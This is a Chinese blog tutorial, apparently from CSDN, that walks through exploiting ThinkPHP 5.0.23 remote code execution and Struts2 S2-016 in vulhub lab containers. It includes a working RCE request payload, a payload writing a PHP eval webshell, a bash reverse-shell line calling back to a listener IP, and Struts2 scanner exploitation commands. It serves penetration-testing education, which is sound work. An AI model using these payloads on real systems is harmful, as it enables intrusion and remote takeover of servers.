网络安全---渗透测试---框架漏洞-ThinkPHP5.0、Struts2

框架漏洞属于web安全漏洞中的环境漏洞,我们可以把框架看作毛胚房,在毛坯房的基础上进行装修就构成了最终的成品网站。


目录

Thinkphp5.0.23远程代码执行漏洞

如何判断网页的框架使用了thinkPHP?

通过网页的ico:

 通过网页的报错回显信息:

 使用专门的信息搜集工具:

vulhub中的thinkphp5.0.23远程代码执行漏洞对应靶场:

 vulhub靶场实战:

启动靶场:

利用POC执行系统命令:

使用工具自动探测POC:

 利用POC进行反弹shell:

 拓展:什么是反弹shell?

 拓展:struts2远程代码执行漏洞

 struts2靶场实战---s2-016

 借助专门的工具来探测并利用对应漏洞

 Struts2-Scan:

 Struts2漏洞检查工具2019版 V2.3 20190927

在软件开发中,框架被用来提供各种功能模块,如用户认证、权限控制、数据库操作等,这些模块通常是经过测试和验证的。然而,由于框架的复杂性和灵活性,很难保证所有使用框架的开发者都能正确地使用这些模块。因此,框架漏洞的产生主要是由于框架本身存在的设计或实现上的缺陷。

常见的框架漏洞包括SQL注入、跨站脚本攻击(XSS)、文件上传漏洞、命令注入和会话劫持等

Thinkphp5.0.23远程代码执行漏洞

ThinkPHP发展至今,核心版本主要有以下几个系列,ThinkPHP 2系列、ThinkPHP 3系列、
ThinkPHP 5系列、ThinkPHP 6系列,各个系列之间在代码实现及功能方面,有较大区别。
其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而
ThinkPHP 3系列也积累了较多的历史用户

ThinkPHP是一个免费,开源,快速、简单的面向对象的轻量级PHP开发框架,是为了加快WEB应用开发和简化企业应用开发而诞生的。 

漏洞影响范围:

 5.x < 5.1.31

Thinkphp 5.0.x<= 5.0.23

 漏洞成因:

该漏洞出现的原因在于ThinkPHP5框架底层对 控制器名 过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,最终导致getshell漏洞

如何判断网页的框架使用了thinkPHP?

通过网页的ico:

 通过网页的报错回显信息:

 使用专门的信息搜集工具:

vulhub中的thinkphp5.0.23远程代码执行漏洞对应靶场:

 漏洞POC的详细解析:

 vulhub 中给出的thinkPHP5.0.23的POCicon-default.png?t=N7T8https://vulhub.org/#/environments/thinkphp/5.0.23-rce/

 请求包内容:

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.43.11:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.43.11:8080/index.php?s=captcha
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Origin: http://192.168.43.11:8080
Connection: close
Upgrade-Insecure-Requests: 1

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

 接下来粗浅地分析一波POST中的内容(实际上更近一步的解析需要结合框架源代码进行详细解析,但这里我们仅仅需要知道如何利用该漏洞即可):

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

这段代码看起来很长,其实它可以分为两个部分:

_method=__construct&filter[]=system&method=get

_method=__construct:该参数将传递给ThinkPHP框架,用于指定将要调用的方法。在这里,使用了对象的构造方法(constructor)__construct。


filter[]=system:filter参数用于指定一个或多个过滤器,用于过滤用户输入数据。在这里,system过滤器被指定,它可以绕过输入过滤,执行系统命令。


method=get:指定执行请求的HTTP方法为GET。


&server[REQUEST_METHOD]=whoami

server[REQUEST_METHOD]:伪造的HTTP请求头中的REQUEST_METHOD参数,通过伪造该参数,攻击者可以构造一个将恶意代码写入文件的请求。

#######################################################################
但是,除了这段POST内容之外,我们还要在POST请求的请求头部分加上/index.php?s=captcha:

method=get: 因为captcha的路由规则是get方式下的,所以我们得让method为get,才能获取到captcha的路由

s=captcha: 因为在进入exec函数后我们要switch到method中执行param函数,而这个captcha的路由刚好对应类型为method,所以我们选择captcha

 接下来试着上传一句话木马:

_method=__construct&filter[]=system&method=get
&server[REQUEST_METHOD]=echo "<?php @eval($_POST[123]); ?>" > shell.php

 vulhub靶场实战:

要想使用vulhub靶场,我们需要先在Kali Linux上部署Docker并安装vulhub,关于Docker和vulhub的安装部署较为简单,一方就不在这里水字数了,详细的图文教程请参看如下文章:

Vulhub是一个基于Docker和Docker-compose的漏洞环境集合,
进入对应目录并执行一条语句即可启动一个全新的漏洞环境,
让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。

启动靶场:

打开虚拟机,进入安装了vulhub的目录:

┌──(root💀kali)-[/home/kali]
└─# cd /home/kali/vulhub-master 

 进入thinkphp所在目录:

┌──(root💀kali)-[/home/kali/vulhub-master]
└─# cd /home/kali/vulhub-master/thinkphp
                                                                                                                                     
┌──(root💀kali)-[/home/kali/vulhub-master/thinkphp]
└─# ll
总计 20
drwx------ 2 kali kali 4096 10月25日 01:04 2-rce
drwx------ 2 kali kali 4096 10月25日 01:04 5.0.23-rce
drwx------ 2 kali kali 4096 10月25日 01:04 5-rce
drwx------ 3 kali kali 4096 10月25日 01:04 in-sqlinjection
drwx------ 2 kali kali 4096 10月25日 01:04 lang-rce
 

我们需要的靶场在 5.0.23-rce,进入该目录再依次运行如下命令:

docker-compose up -d  在后台启动并运行容器(靶场)

docker ps                        查看运行中的容器的状态

 可以看到靶场成功运行,使用的是kali linux的8080端口:

 接下来在宿主机的浏览器上访问kail linux的8080端口:

利用POC执行系统命令:

 刷新一下该页面,并用burpsuite抓包,发现发出的是GET请求,而之前给出的POC需要POST请求,我们需要在BP中转换请求方式,并把POC插入到转变后的POST请求中去:

图1:刚开始是GET请求:

 图2:CTRL+R将get发送到repeater(重放器),右键选择修改请求方法:

图3:将POC中的内容复制粘贴到修改后得到的POST请求中:

命令成功执行,说明靶场中存在think PHP5.0.23远程代码执行漏洞

使用工具自动探测POC:

除了手动寻找外,我们还可以借助一些脚本文件,例如thingkphp_rce,该脚本会自动探测thinkphp框架漏洞,并找出合适的payload(这类脚本实际上是批量提交各种版本的POC,如果有对应的就回显,没有就不回显):

thinkphp_rce的下载链接icon-default.png?t=N7T8https://download.csdn.net/download/weixin_52796034/88501389

 利用POC进行反弹shell:

将POC改成下面这样可以进行反弹shell:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash+-
c+"bash+-i+>%26+/dev/tcp/192.168.188.116/9999+0>%261"

这里的“kali的IP与端口”在实战中可以换成其他主机的IP与端口,只要能够监听对应端口即可

 下面来分析一波/bin/bash+-c+"bash+-i+>%26+/dev/tcp/192.168.43.11/9999+0>%261":

  • /bin/bash+-c: 这部分开始了一个Bash Shell,并且-c选项告诉Bash执行后面的命令。

  • "bash+-i+>%26+/dev/tcp/192.168.188.116/9999+0>%261": 这是要执行的Shell命令的一部分,它试图建立一个反向shell连接到IP地址192.168.43.11(这里的IP地址完全可以换成其他主机的)的端口9999。具体解释如下:

    • bash: 启动Bash Shell。

    • -i: 表示以交互式模式运行Shell,这允许双向通信。

    • >%26: 将标准输出(stdout)重定向到标准错误(stderr),这是为了确保输出被发送到反弹shell。

    • /dev/tcp/192.168.43.11/9999: 这部分告诉Bash连接到指定IP地址和端口。

    • 0>%261: 这部分将标准输入(stdin)重定向到标准错误(stderr),也是为了确保输入被发送到反弹shell。

  • 当服务器处理这个请求时,它会执行这个Shell命令,试图建立一个反向shell连接到192.168.43.11的端口9999,允许攻击者在目标服务器上执行命令。

 使用nc监听kali的9999端口,发现可以执行bash指令:

 拓展:什么是反弹shell?
反弹shell(Reverse Shell)是一种计算机安全和网络攻击技术,
通常被用于与远程目标系统建立命令行交互式连接。
这个连接允许攻击者在远程系统上执行命令,获取系统访问权限,
以及进行横向移动和数据操作。

反弹shell的工作方式如下:
攻击者和目标系统之间建立连接:通常,攻击者首先在目标系统上部署一个恶意程序
(例如Trojan或后门),该程序会与攻击者的控制服务器建立连接。

目标系统反弹连接:一旦恶意程序在目标系统上执行,它会尝试与攻击者的控制服务器建立连接。
这通常是通过网络协议(如TCP或HTTP)完成的。

交互式命令行会话:一旦连接建立,攻击者可以在目标系统上获得一个交互式命令行会话。
这允许他们像在本地一样执行命令、查看文件、修改配置和操作系统资源等。
######################################################################################

反弹shell通常用于被控端防火墙受限、权限不足、端口被占用等情形。在渗透过程中,往往因为端
口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。

 拓展:struts2远程代码执行漏洞

vulhub靶场链接icon-default.png?t=N7T8https://vulhub.org/#/environments/struts2/s2-001/

漏洞背景

Apache Struts 2 是一个开源的Java Web应用框架,被广泛用于构建Java Web应用。在过去,Struts 2 曝露出一个严重的漏洞,允许攻击者通过构造恶意请求来执行任意代码,这被称为远程代码执行漏洞。

漏洞原理:

  1. 不安全的用户输入处理:应用程序未正确验证和过滤用户提供的输入,特别是HTTP请求中的参数。
  2. Ognl 表达式:Struts 2 使用了OGNL(Object-Graph Navigation Language)表达式来处理用户输入,它是一种强大的表达式语言,但如果不正确使用,会导致安全风险。
  3. Action 层处理:Struts 2 中的Action类负责处理HTTP请求,当不安全的OGNL表达式传递给Action时,它可以在服务器上执行任意代码。

攻击者通常通过构造特定的HTTP请求,将恶意的OGNL表达式传递给受影响的应用程序。这些表达式可以包含Java代码,包括系统命令执行、文件读取/写入等。一旦应用程序执行了这些表达式,攻击者可以在目标服务器上获得远程执行代码的权限。

struts2的rce本质都是一样的(除了S2-052以外),都是Struts2框架执行了恶意用户传进来的OGNL表达式,造成远程代码执行。可以造成“命令执行、服务器文件操作、 打印回显、获取系统属性、危险代码执行”等,只不过需要精心构造不同的OGNL代 码而已 

 如何辨别某个网页是否使用struts2框架?

  1. URL结构:观察Web应用的URL结构通常是一个快速的方法。Struts 2应用程序的URL通常包含/struts/struts2等关键词。例如,http://example.com/struts/login.actionhttp://example.com/struts2/user/profile.action

  2. 请求参数:Struts 2应用程序通常使用参数来标识和执行特定的操作。检查HTTP请求中是否存在以.action为扩展名的参数,这可能是Struts 2操作的迹象。

  3. 页面源代码:查看Web应用的页面源代码,寻找可能包含Struts 2标签或标识符的HTML元素。Struts 2通常使用特定的HTML标签和属性。

  4. 错误消息:如果Web应用程序出现错误,错误消息可能会包含有关Struts 2的信息或异常。这些信息可能会显示在浏览器中,也可能记录在服务器日志中。

  5. HTTP响应头:检查HTTP响应头,有时它们可能包含有关使用的Web框架的信息。Struts 2通常会在响应头中揭示一些信息。

  6. 目录结构:查看Web应用的目录结构。Struts 2应用程序通常会包含一些特定的目录,如/struts/struts2,用于存放配置文件和类文件。

  7. 探测工具:使用Web应用漏洞扫描工具或指纹识别工具来检测Struts 2框架。这些工具通常会分析Web应用的特征以确定所使用的框架。例如wappalyzer这款浏览器插件

 struts2靶场实战---s2-016

没有靶场演练的解说是没有灵魂滴~~~,这里一方以s2-016漏洞为例,向大家讲解如何利用一系列的struts2远程代码执行漏洞

和前边的thinkphp5.0.23靶场一样,我们首先要启动靶场,依次执行如下语句:

cd vulhub-master

cd struts2

cd s2-016

在s2-016对应的目录中执行如下语句:

docker-compose build

docker-compose up -d

docker ps

 靶场启动后在宿主机上进行访问:

 借助专门的工具来探测并利用对应漏洞

这里一方推荐两款Struts2系列漏洞检查工具:

Struts2-Scan:

Github对应链接icon-default.png?t=N7T8https://github.com/HatBoy/Struts2-Scan一方上传的下载链接:

Struts2漏洞检查工具2019版 V2.3 20190927:

不知道为啥,链接里明明给的是20190927,但是下载后却变成了20190925,不过一切还好,不影响使用​​

Github对应链接:Struts2漏洞检查工具2019版 V2.3 20190927icon-default.png?t=N7T8https://github.com/shack2/Struts2VulsTools/releases/tag/2.3.20190927一方上传的下载链接:

戳我下载压缩包icon-default.png?t=N7T8https://download.csdn.net/download/weixin_52796034/88505086

 Struts2-Scan:

 进行扫描时使用的命令如下(注意必须在URL最后加上/index.action!):

 python Struts2Scan.py -u "http://192.168.43.11:8080/index.action"

 Struts2Scan成功扫到存在S2-016,使用如下语句进行漏洞利用:

python3 Struts2Scan.py -u http://192.168.43.11:8080/index.action -n S2-016 --exec

 遗憾的是,目前版本会报错:

[ERROR] 暂不支持S2_016漏洞利用

 但是也有可能是一方使用的环境问题,作者的Github介绍上显示是可以正常使用的:

 Struts2漏洞检查工具2019版 V2.3 20190927

这个工具用起来就简洁明了多了,毕竟是图像化界面:

但是需要注意的是,该工具的扫描结果依赖于所指定的“数据提交方式”:

 得知具体的漏洞编号后,我们就可以更进一步的利用:

 这些自动化脚本的使用实际上还是利用早已被给出的Struts2系列漏洞的POC:

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: Laravel和ThinkPHP都是流行的PHP框架,它们都提供了一种快速开发Web应用程序的方法。以下是它们之间的一些对比: 1. 社区支持:Laravel的社区相对较大,有更多的开发者和资源可用。而ThinkPHP在中国的使用较为广泛。 2. 编程风格:Laravel采用了现代化的编程范式,例如面向对象编程(OOP)和MVC架构。它还提供了一些便捷的工具和语法糖,如集合和Eloquent ORM。而ThinkPHP则更加传统,采用类似于PHP的过程式编程和基于目录的MVC架构。 3. 性能:在性能方面,两个框架都表现良好。Laravel在最近的版本中进行了优化,而ThinkPHP也不断更新以提高性能。 4. 学习曲线:对于有经验的开发者而言,Laravel可能更容易上手,因为它提供了更多的工具和功能。然而,对于初学者而言,ThinkPHP可能更容易理解和学习。 综上所述,选择Laravel还是ThinkPHP取决于项目需求和开发团队的偏好。如果需要现代化的工具和更大的开发社区,则Laravel可能更适合。而如果项目需求相对简单,并且需要支持中文开发和文档,则ThinkPHP可能更合适。 ### 回答2: Laravel和ThinkPHP都是PHP语言的重要开源框架,都有自己的优点和适用性。下面比较一下两者之间的差异。 1. 性能对比 在性能方面,Laravel和ThinkPHP两种框架都有不错的表现。Laravel主要是针对功能和设计的优化,而ThinkPHP则强调性能和速度。因此,使用ThinkPHP可以开发出更快且轻量的应用程序,而Laravel则更有可能开发出比较复杂和高级的应用程序。 2. 学习难度对比 Laravel是一个非常成熟和高级的框架,因此需要掌握更多的PHP知识和技能。相比之下,ThinkPHP则更加容易学习和使用,尤其适合初学者和小型项目开发。 3. 设计模式对比 Laravel使用了一些新的设计模式,如“服务容器”和“依赖注入”,对于大型应用程序来说,这些模式有很大的优势,特别是在维护和代码管理方面。而ThinkPHP则更加注重MVC模式,因此易于管理,但缺乏灵活性和扩展性。 4. 集成度对比 Laravel大多数都是基于Composer模块化的设计,因此可以很方便地实现集成。而ThinkPHP则提供了很多插件和接口,便于实现多系统的集成和应用之间的交互。 5. 社区支持对比 由于Laravel是国外的框架,因此其社区支持和开发资源更加充足和全面,如果需要更多的支持和社区资源,建议选择Laravel。而ThinkPHP有着庞大的国内用户群体和社区支持,所以需要更多中文支持的开发者应该选择ThinkPHP。 总体而言,Laravel和ThinkPHP各有优势,具体如何选择要看自己的需求和技术实力。如果仅仅是希望快速地实现小型项目,那么ThinkPHP可能更加适合;如果需要开发比较复杂和高级的应用程序,Laravel则会有更多的优势。所以,开发者可以根据自己的实际情况,做出最合适的选择。 ### 回答3: Laravel和ThinkPHP都是目前最受欢迎的PHP框架之一。虽然它们所做的事情相似,但它们之间还是有一些区别。 1. 性能 在性能方面,Laravel和ThinkPHP都表现出色。然而,Laravel在缓存和查询效率方面相对ThinkPHP更快。这得益于它采用了Blade模板引擎和Eloquent ORM等现代技术。 2. 学习曲线 ThinkPHP由于它的简单易学和易使用性而成为许多初学者的第一个选择。Laravel则需要花费更多的时间学习。它有更多的奇技淫巧和更多的组件,因此有更高的学习曲线。不过,Laravel文件和教程的数量也比ThinkPHP更多。 3. 开发速度 Laravel鼓励开发人员使用现代技术,如Composer和Packagist。它也提供了更好的文档和教程。这使得Laravel在开发效率方面比ThinkPHP更胜一筹。 4. 扩展性 Laravel的扩展性完全依赖于Composer,这使它易于扩展和搭配其他组件。ThinkPHP则使用PHP扩展和功能函数进行扩展,这也是一种不错的方式,但不如Composer灵活。 5. 使用人数 虽然两者都有强大且活跃的开发社区,但ThinkPHP在中国的影响力比Laravel更大。 总的来说,Laravel在现代性和灵活性方面更胜一筹,而ThinkPHP则在中国的使用率相对更高。无论您选择哪种框架,都应该先根据项目的需求和开发的规模和复杂性进行评估。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

洛一方

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值